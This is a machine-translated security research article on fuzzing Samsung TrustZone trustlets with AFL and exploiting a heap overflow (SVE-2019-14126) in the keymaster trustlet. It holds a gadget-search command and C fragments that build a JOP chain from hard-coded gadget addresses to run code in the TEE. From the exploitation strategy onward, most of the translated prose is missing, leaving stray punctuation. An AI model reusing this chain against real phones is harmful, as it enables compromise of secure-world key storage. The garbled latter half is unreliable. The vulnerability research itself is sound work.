搜索Samsung TrustZone中的漏洞,或AFL模糊所有


随着时间的流逝,越来越多的保护技术应运而生,因此,黑客必须更加严格地束紧安全带。 但是,这枚硬币有两个方面:防御技术还创建了额外的攻击面,而要绕过它们,您只需要在其代码中使用漏洞即可。


让我们看一下其中一种技术-ARM TrustZone。 它的实现包含大量代码,要在其中查找漏洞,您需要某种自动方式。 我们使用了行之有效的旧方法-模糊测试。 但是聪明!


我们将对TrustZone技术的引入所出现的特殊应用程序-trustlets进行模糊处理。 为了详细描述我们选择的模糊测试方法,我们首先转向有关TrustZone,受信任的操作系统以及与常规操作系统的交互的理论。 这不是很久。 走吧


ARM信任区


ARM处理器中的TrustZone技术使您可以将机密信息的处理转移到隔离的安全环境中。 例如,通过Keystore,Android OS中的指纹服务,DRM版权保护技术等来执行此类处理。


关于TrustZone设备的文章已经 很多 ,因此我们仅简要回顾一下。



TrustZone将“世界”(按TrustZone-世界)分为两个部分:“正常世界”和“安全世界”,并向处理器添加了四种执行模式:


  • EL3-监视模式-系统启动的模式,是最优选的执行模式;
  • S-EL2-信任的管理程序模式;
  • S-EL1-受信任的操作系统模式;
  • S-EL0-可信应用程序(可信应用程序,TA,信任小程序)或信任小程序的模式。

在采用TrustZone技术的SoC上,两个操作系统可以同时工作。 在正常世界中工作的一种称为Rich OS,在安全世界中工作的第二种称为TEE(受信任执行环境)OS。 这些受信任的操作系统已经有十几个。 我们将专注于一种特定的产品-Trustonic Kinibi。 尤其是,在装有SoC Exynos的三星手机(包括Galaxy S9)中使用它。


Trustonic基尼比


Trustonic 由ARM,金雅拓和Giesecke&Devrient(G&D)创建,并继续开发名为Kinibi的Giesecke&Devrient(G&D)Mobicore操作系统。


Kinibi操作系统支持全球平台可信执行环境标准 。 其结构图如图所示。



如您所见,TrustZone的实现不仅包括“受保护的世界”中的组件,还包括“正常世界”中的组件。 要理解主要的方法,最好从开发人员的角度看一下该系统的方案。



在低级别,受保护的世界中,除了微内核之外,驱动程序和运行时管理器也可以工作。 在正常情况下,需要使用特殊的驱动程序,以确保根据应用程序的要求将处理器过渡到受保护的环境。 在用户空间级别,应用程序和组件的运行提供了用于在正常世界和安全世界之间连接应用程序的API。 正常情况下,还有一个特殊的守护程序提供一些信任小程序的初始启动,并通过该守护程序来处理来自客户端应用程序对信任小程序的所有请求。


Kinibi中有两套API:Global Platform API(以绿色表示)和Legacy API(红色)。 两组都提供大致相同的功能,只有第一组是根据Global Platform标准构建的,而第二组似乎是在该标准之前的,因此称为Legacy。 尽管事实上,从名称来看,您应该放弃使用它,但三星Trustlet仅使用Legacy API。


世界之间的互动


为了利用TrustZone技术提供的机会,通常情况下称为客户端应用程序的应用程序与受信任的应用程序-trustlet通信。 Trustlet实现各种功能:身份验证,密钥管理,与实现安全功能的硬件组件一起使用等。


使用专用共享内存传输对trustlet的请求。 根据TrustZone技术,正常世界和受保护世界在较高级别(EL0和S-EL0)与内存相互隔离,并在它们之间创建这样的共享内存区域,称为世界共享内存(WSM),受保护者提供的API世界。


客户端应用程序和Trustlet之间交互的一般方案如下所示:



  1. 客户端应用程序使用要与其建立会话的trustlet的UID访问守护程序;
  2. 守护程序使用驱动程序与受信任的操作系统联系,以请求下载信任小程序。
  3. 受信任的操作系统将Trustlet加载到受保护世界的地址空间中。
  4. 客户端应用程序通过对守护程序的请求再次创建WSM缓冲区,并将数据写入其中,以将请求发送给信任关系。
  5. 客户端应用程序将请求的准备情况通知受保护的世界;
  6. 在安全的环境中,请求被发送到所需的trustlet进行处理,并且trustlet将其工作结果写入WSM缓冲区;
  7. 请求和响应周期可能会重复;
  8. 客户端应用程序以信任结束会话。

客户端应用程序和trustlet的交互会话的伪代码看起来很简单。 对于客户端应用程序:


void main() { uint8_t* tciBuffer; uint32_t tciLength; uint8_t* mem; uint32_t mem_size; mcOpenDevice(MC_DEVICE_ID_DEFAULT); mcMallocWsm(MC_DEVICE_ID_DEFAULT, 0, tciLength, &tciBuffer, 0); session.deviceId = MC_DEVICE_ID_DEFAULT; mcOpenSession(&session, &uuid, tciBuffer, tciLength); mcMap(&session, mem, mem_size, &mapInfo); mcNotify(&session); mcWaitNotification(&session, -1); mcUnmap(&session, mem1, &mapInfo1); mcCloseSession(&session); mcFreeWsm(MC_DEVICE_ID_DEFAULT, tciBuffer); mcCloseDevice(MC_DEVICE_ID_DEFAULT); } 

对于trustlet:


 void tlMain(uint8_t *tciData, uint32_t tciLen) { // Check TCI size if (sizeof(tci_t) > tciLen) { // TCI too small -> end Trusted Application tlApiExit(EXIT_ERROR); } // Trusted Application main loop for (;;) { // Wait for a notification to arrive tlApiWaitNotification(INFINITE_TIMEOUT); // Process command // Notify the TLC tlApiNotify(); } } 

mcNotify / tlApiNotifymcWaitNotification / tlApiWaitNotification这些是通知/请求/响应已准备好在另一个世界中接收的功能,以及等待请求处理的功能。 此外,客户端应用程序还可以使用mcMap函数。 如果需要,它允许您创建另一个WSM缓冲区。 使用此功能,总共只能创建四个此类缓冲区。


对于客户端应用程序,很明显-对于三星手机,它们是普通的Android应用程序。 但是什么是trustlet?


基尼比信托


Trustlet位于设备的常规文件系统中,并且是包含可执行代码的文件。 这不是Android常用的ELF或APK格式。 Kinibi操作系统中的Trastlet具有自己的MobiCore加载格式(MCLF)。 Trustonic在Github上发布的开放源代码用户级组件中对此进行了描述。 可以在这样的图片中示意性地描述trustlet文件的结构(trustlet在左侧)。



信任集可以区分以下功能:


  • 在一个隔离的地址空间中执行,也就是说,一个信任小程序看不到另一个;
  • 除WSM缓冲区,TEE操作系统的内存和物理内存外,无权访问普通世界的内存;
  • 位于内存中具有不同读取,写入和执行权限的部分中;
  • WSM缓冲区驻留在不可执行的内存中;
  • 没有ASLR的启动
  • 他们使用mclib提供的API,该库为受保护的世界实现了Global Platform API和Legacy API。
  • 可以使用tlApi_callDriver函数访问受保护的驱动程序。

如您所见,trustlet功能非常有限。 此外,它们使用一些防御机制,例如各种内存属性,并且大多数trustlet都使用堆栈金丝雀来防止覆盖堆栈。 但是,尽管Kinibi已计划在新版本中使用,但它没有ASLR。


尽管有所有这些限制,但由于以下原因,信任小数仍然是攻击者非常感兴趣的目标:


  • 这是来自Android用户空间级别的TrustZone中的窗口。
  • 它们可以作为将特权提升到TEE操作系统核心的起点;
  • trustlet可以访问受保护的信息,即使Android内核也没有访问权限。

作为测试设备,我们使用了三星Galaxy S8。 如果您在其中寻找支架,事实证明它们很多。



也就是说,有很多代码。 使用二进制代码的静态分析来搜索漏洞似乎是个坏主意。 仅仅因为trastlet具有自己的格式(不同于传统操作系统上可以运行的格式),所以进行动态分析根本无法工作。 最好将经过验证的模糊处理方法与反馈结合使用,并以某种方式捕获trustlet崩溃的崩溃。 让我们尝试解决这个有趣的问题。


这种毛躁如何?


对于尚未使用出色的AFL工具及其许多附加组件的用户,建议阅读这篇优秀文章 。 而且其他所有人可能都知道AFL可以模糊ELF文件。 而且,甚至二进制文件最初都在没有AFL仪器的情况下进行编译。 这是通过qemu模式实现的。 AFL使用qemu仿真器的特殊构建,其中将分支指令的二进制指令功能添加到qemu用户模式。 这使他甚至可以对二进制文件进行代码覆盖率控制。 这样做的好处是,不仅可以模糊本机体系结构的可执行文件,而且还可以模糊qemu支持的所有体系结构的可执行文件。 但是,为了在我们的任务中使用此模式,我们需要以某种方式将trustlets转换为ELF格式。


让我们仔细看一下trustlet文件。 由于采用开放格式, 因此为他们提供了IDA Pro 加载程序。 如果打开任何trustlet(实际上是其代码除外),则可以看到它使用了mclib库的功能。 有趣的是,所有对此类函数的调用都将通过一个函数,该函数位于trastlet标题中记录的地址处。 例如,这就是tlApiLogvPrintf函数在trustlet的代码中的显示方式,该代码显然处理字符串的输出。



可以看出,它比其他功能进一步转发所有参数。 这是mclib调度功能,其地址写入MCLF标头中名为tlApiLibEntry的字段中。 也就是说,以这种方式调用的库函数是trustlet的唯一依赖项; tastlets外部没有任何其他链接。 这意味着,如果我们为API函数实现存根,则可以在常规Linux环境中执行trustlet代码,当然,首先要以某种方式将其转换为ELF文件。 这意味着我们可以对其进行调试和模糊测试。


要将Trustlet转换为ELF文件,您可以获取一个现成的文件,例如,使用main函数编译一个空应用程序,并添加Trustlet的各个部分及其标题。 容易! 还必须以某种方式将控制权转移到trustlet代码。 这也没有问题,trastlet标头包含其入口点的地址。 我们在main函数中将此地址定义为函数的地址并调用它。 经过思考和试验后,我们可以概述以下解决问题的计划:


  1. 将执行转移到信任集的入口点;
  2. 实现它们的库函数或存根;
  3. 实现调度功能并将其地址写入tralet的标题中;
  4. 将Trustlet的各个部分排列到所需的地址。

由于我们需要一次将许多信任集变成精灵,因此我们需要考虑使这些任务自动化。 对于每个trustlet,必须自动确定以下参数:入口点,trustlet部分的地址和WSM输入缓冲区的大小。 将此添加到计划中。


  1. 定义入口点,节地址和WSM缓冲区大小。

收集精灵


1) 入口点


使用以下代码可以轻松实现计划中的第一项。 可以将其添加到源ELF文件的main函数中。


 typedef void (*tlMain_t)(const void* tciBuffer, const uint32_t tciBufferLen); tlMain_t tlMain = sym_tlMain; tlMain(tciBuffer, tciBufferLen); 

我们将代码编译成目标文件。


 $(CC) $(INCLUDE) -g -c tlrun.c 

必须将sym_tlMain添加到目标文件。 可以使用objcopy来完成。


 arm-linux-gnueabi-objcopy --add-symbol sym_tlMain=$(TLMAIN) tlrun.o tlrun.o.1 

结果,我们得到tlrun.o.1一个具有将控制权转移到trustlet代码的main功能的编译源。


2) 库功能


要实现库函数,首先我们需要所有这些函数的列表。 曾几何时,高通公司泄漏了很多基于移动处理器的移动设备材料。 这些材料中还有用于mobicore操作系统的某些组件的一些图像,头文件和调试图像。 从那里开始,我们获取了带有数字的库函数原型,并将其作为参数传递给调度函数。 对于具有已知用途的函数(例如tlApiMalloctlApiLogvPrintf我们使用来自libc的类似函数进行了相应的实现。 而且功能还不清楚,例如,我们用显示其名称并返回OK状态的简单存根替换了tlApiSecSPICmd 。 整个API编译为tllib.o


 $(CC) $(INCLUDE) -g -c tllib.c 

3) 调度功能


与入口点的地址类似,添加符号,所有trustlet的地址都相同:


 arm-linux-gnueabi-objcopy --add-symbol sym_tlApiLibEntry=0x108c tlrun.o tlrun.o.1 

调度功能的实现很简单。 仅需考虑其地址必须写在标题中。 由于我们事先不知道链接和启动后调度函数将位于哪个地址,因此我们必须在运行时已将其地址写入trustlet的标头中。 例如,在main功能开始执行之前启动文件时。


 void (*sym_tlApiLibEntry)(int num) __attribute__((weak)); void tlApiLibEntry(int num) __attribute__((noplt)); __attribute__((constructor)) void init() { sym_tlApiLibEntry = tlApiLibEntry; } 

4)


将节添加到目标文件,我们也使用objcopy


 arm-linux-gnueabi-objcopy --add-section .tlbin_text=.text.bin \ --set-section-flags .tlbin_text=code,contents,alloc,load \ --add-section .tlbin_data=.data.bin \ --set-section-flags .tlbin_data=contents,alloc,load \ --add-section .tlbin_bss=.bss.bin \ --set-section-flags .tlbin_bss=contents,alloc,load \ tlrun.o.1 tlrun.o.2 

此处.tlbin_text.tlbin_text的节的名称, .text.bin是带有此节的转储的文件的名称。 您可以使用相同的IDA转储文件。


转换的结果是,二进制信任文件将添加到源ELF文件中。


5) 自动化


对于整个程序集,我们决定对所有trustlet使用一个大的Makefile,对于每个带有其参数的单个trustlet,使用一个较小的Makefile。 对于每个trustlet,您需要定义一个入口点,节地址和WSM缓冲区大小。 前两个参数很容易通过IDA的简单脚本获得,并且确定缓冲区的大小有时并不容易自动化。 您也可以自动执行此任务,也可以花10分钟的时间通过手动分析所有Trustlet的代码来确定所有Trustlet。 这些参数可以在您的小型Makefile中设置为变量。


 TLMAIN := 0x98F5D TLTEXT := 1000 TLDATA := c0000 TLBSS := c10e0 TLTCI_LEN := 4096 

在大的Makefile中,以这种方式使用以下参数:


 $(CC) $(INCLUDE) -g -DTCILEN=$(TLTCI_LEN) -c tlrun.c # ... $(CC) -g tlrun.o.2 tllib.o --section-start=.tlbin_text=$(TLTEXT),--section-start=.tlbin_data=$(TLDATA),--section-start=.tlbin_bss=$(TLBSS) -o tlrun 

因此,我们将Trustlet转换为ELF文件,并在内存中设置了Trustlet的各个部分的正确位置,并在标头中提供了正确的地址。 从理论上讲,它甚至可以正确执行并进一步模糊化。 好吧,让我们看看吧!


模糊测试


由于AFL使用qemu执行非本机体系结构代码,因此一开始检查一下我们的elf是否在模拟器下运行将是一个不错的选择。 然后问题立即开始。


问题1:工具链

为了编译代码并生成文件,我们使用了arm-linux-gnueabihf工具链。 最后的“ hf”表示编译器在ARM处理器中使用Hard Float硬件支持。 当我尝试在qemu仿真器下运行文件时,该文件立即崩溃,发出“分段错误”。 考虑到在我们的代码中没有任何地方可以使用浮点数,因此导致崩溃的原因是完全无法理解的。 经过一番思考,我们决定尝试使用不带Hard float arm-linux-gnueabi的工具链。 我们很幸运! 该文件正常工作,并且其输出开始出现在控制台中。



这样你就可以起毛了。 我们启动AFL,然后在这里...


问题二:仪器


由于某些原因,AFL看不到仪器。 最初,还不清楚是什么问题。 qemu正确构建,已设置-Q选项(qemu模式)。 诅咒,我不得不进入qemu的AFL补丁的源代码。 事实证明,在AFL补丁程序中,当下载ELF文件时,qemu查找代码段并设置将要产生检测的地址的边界。 问题是,如果有多个代码段,出于某种原因,将仅检测其中的第一个。 这是一个错误或功能,但是我们有两个代码段,而入口点-main-在第二个。 显然,他没有在启动时看到该工具,因为它不在第二部分中! 比源代码更令人毛骨悚然,您可以看到,当环境变量AFL_INST_LIBS处于打开状态时,仪器边界将变为无限。 开启并启动它。



模糊测试!


这个想法被确认了! 我们启动了模糊测试,并提供了有关自定义格式二进制文件的反馈。 如您所见,他甚至发现了某种崩溃。 因此,我们获得了一种可靠的方法来模糊这些二进制文件,捕获其代码中的错误并在常规Linux中运行它们,并使用现有工具方便地进行调试。 上课!


几天来,我们对所有trustlet进行了模糊测试。 结果,我们有很多输入数据会导致崩溃,并且需要分析所有这些崩溃。


分析崩溃


AFL共找到23个信托基金,共发现477个测试案例导致崩溃。 我绝对不想手动处理大量信息。 在这组测试用例中,几乎有相同的用例在同一位置产生崩溃。 要删除测试用例的冗余,可以使用afl-cmin工具。 通过所有小支架后,仍有225例需要分析。 无论如何,很多! 为了以某种方式减轻我们的任务,我们决定使用动态分析工具,这些工具将有助于更准确地识别软件错误及其任何属性。 这将有助于评估错误的可用性及其操作的复杂性。


因此,为了使用某种动态分析工具,我们至少需要在本机ARM系统上而不是在qemu虚拟化下运行转换后的trustlet。 Linux或Android可能适用于此。


问题3:部分

我们决定采用Linux的32位系统,因为 32位trustlet,Linux比Android更方便,并且具有更多动态分析工具。 事实证明,当我们的精灵发射时,立即发出了细分错误。


原来,问题是我们的二进制文件异常。 创建它们时,需要将trustlet的各个部分放在所需的地址上,其中trustlet的代码部分的地址始终为0x1000。 这是文件的第一部分,在它的前面仍然是位于0x0的ELF标头。 并且在Linux上,地址空间的前两个页面(直到地址0x2000)被保留用于实用程序任务,因此,当加载器尝试在其中投影一个部分时,会发生错误。


事实证明,有一种解决这种情况的方法。 在64位内核上,不会在内存中保留首页的这种保留,并且节的这种布置成为可能。 由于我们的文件是32位的,因此在64位系统上首先创建32位环境非常方便。 debootstrap软件包非常适合这些目的。


问题4:没有工具

现在,我们重新设计的信任小程序可以在本机ARM系统上运行,我们需要在它们上尝试动态分析工具。 动态分析二进制文件的方法包括调试和动态二进制检测(DBI)。 Gdb首先很出色。 第二,选择不多:在ARM下,基本上只有三个稳定的DBI框架-DynamoRIO,Valgrind和Frida。 第一个提供了许多用于跟踪和捕获错误的好工具,但是其中实现的ELF文件加载器无法应付文件的加载。 Valgrind是一个相当强大的框架,它具有适用于我们的用于跟踪和监视内存操作的memcheck的callgrind工具。 原来,它们产生的结果非常不便于解析,因此不适合在许多文件的自动模式下使用。 而且我们没有时间尝试Frida。 如果有人有使用ARM上的Linux的经验,请在注释中写下您的印象。


如您所见,我们只能对调试器感到满意。 但是,即使使用gdb脚本也已经大大简化了我们的工作。


问题5:库函数

从一开始就明确的另一个问题是trastlet使用的库函数。 我们用存根替换了它们,但可以用libc中类似的函数替换的函数除外。 显然,如果在管束的逻辑中某些代码处理了这些存根函数之一的结果,则很可能由于期望完全不同的数据而崩溃,并且这不一定意味着代码中的错误。


有很多功能很难模拟真实功能的行为:


  • tlApiSecSPICmd;
  • tlApi_callDriver;
  • tlApiWrapObjectExt;
  • tlApiUnWrapObjectExt;
  • tlApiCipherDoFinal;
  • tlApiSignatureSign;
  • ...

为了不浪费时间研究此类可疑案例,我们决定不考虑使用这些功能的测试案例。


模糊结果


在自动模式下,使用脚本,我们在所有trustlet上收集了以下信息:


  • Traidlet UID
  • 崩溃标识符;
  • 错误类型(崩溃期间的信号类型);
  • 发生错误的地址
  • trastlet使用的API函数。

事实证明,将所有这些信息放入数据库中,然后选择最有趣的案例进行SQL查询分析,然后根据分析结果添加信息,非常方便。



例如,使用此查询,您可以显示发生细分错误的所有测试用例:


 select * from main where type = "SIGSEGV"; 

并筛选出使用tlApiSecSPICmd函数的tlApiSecSPICmd ,我们已将其实现为存根:


 select * from main where api not like "tlApiSecSPICmd"; 

因此,在所有trustlet中都发现了不同类型的错误。 其中一些没有导致漏洞,但是有些是漏洞,可以被攻击者使用。 考虑发现的最有趣的漏洞。


SVE-2019-14126



在解析根据DER规则编码的ASN.1结构时,用于处理TCI缓冲区内容的代码中的密钥主密钥库中发现了此漏洞。 此结构中的两个字段用作维:一个分配动态内存,另一个复制时。 显然,如果第二个大小大于第一个大小,则会发生堆溢出。 此类漏洞通常会导致攻击者执行代码的可能性,因此我们尝试对该漏洞进行全面利用。 在评估剥削的可能性时,还必须考虑上述所有信托的限制。


由于手头一堆溢出,基于这些限制,可以想象以下操作策略:


  1. 在.bss节中的可访问位置找到一些函数指针进行重写;
  2. 使用发现的溢出,在该位置创建一个堆存储块;
  3. ;
  4. .

, , , Kinibi. - mclib, ZeroCon, .


— .bss. , .bss . , , , , .



, .bss, .


, . , , , , .bss, . code-reuse.


ROP. , ROP, .bss. , , . , , . , , , .


ROP, JOP. JOP — Jump Oriented Programming. JOP .


JOP , ROPGadget. , JOP, :


 ROPgadget --binary tlrun --thumb --range 0x1000-0xbeb44 | grep -E "; b.+ r[0-9]+$" 

! .



. ROP . , ROP- weird machine , . JOP , . ARM, , , — LDMIA (Load Memory Increment Address).



, , , , . , . JOP!


LDMIA . - capstone, ROPGadget, LDMLO.



! . , , . stack cookie , .


 *(int*)&mem1[offset] = SUPER_GADGET; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0; // r4 *(int*)&mem1[offset + 12] = SUPER_GADGET; // r5 *(int*)&mem1[offset + 16] = 0x9560b; // r7 offset += 0x14; *(int*)&mem1[offset] = 0; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0; // r4 *(int*)&mem1[offset + 12] = 0; // r5 *(int*)&mem1[offset + 16] = 0x96829; // r7 offset += 0x14; *(int*)&mem1[offset] = SUPER_GADGET; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0x3d5f4; // r4 *(int*)&mem1[offset + 12] = mapInfo3.sVirtualAddr; // r5 *(int*)&mem1[offset + 16] = 0x218c7; // r7 

Hello, world .


 strcpy(mem3 + 0x100, "Hello world from TEE!\n"); *(int*)&mem1[offset] = 0x7d081b1; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = mapInfo3.sVirtualAddr + 0x100; // r4 *(int*)&mem1[offset + 12] = 0; // r5 *(int*)&mem1[offset + 16] = 0x9545b; // r7 


"Hello, world!" , , , keymaster, , . , . , Gal Beniamini TEE Qualcomm , , offline- Android. TEE OS EL-3, .


结论


ARM TrustZone , . Secure World Android, . , , Samsung bug bounty TrustZone, .



AFL qemu, "" . . , . !


有用的链接


Source: https://habr.com/ru/post/zh-CN478948/


All Articles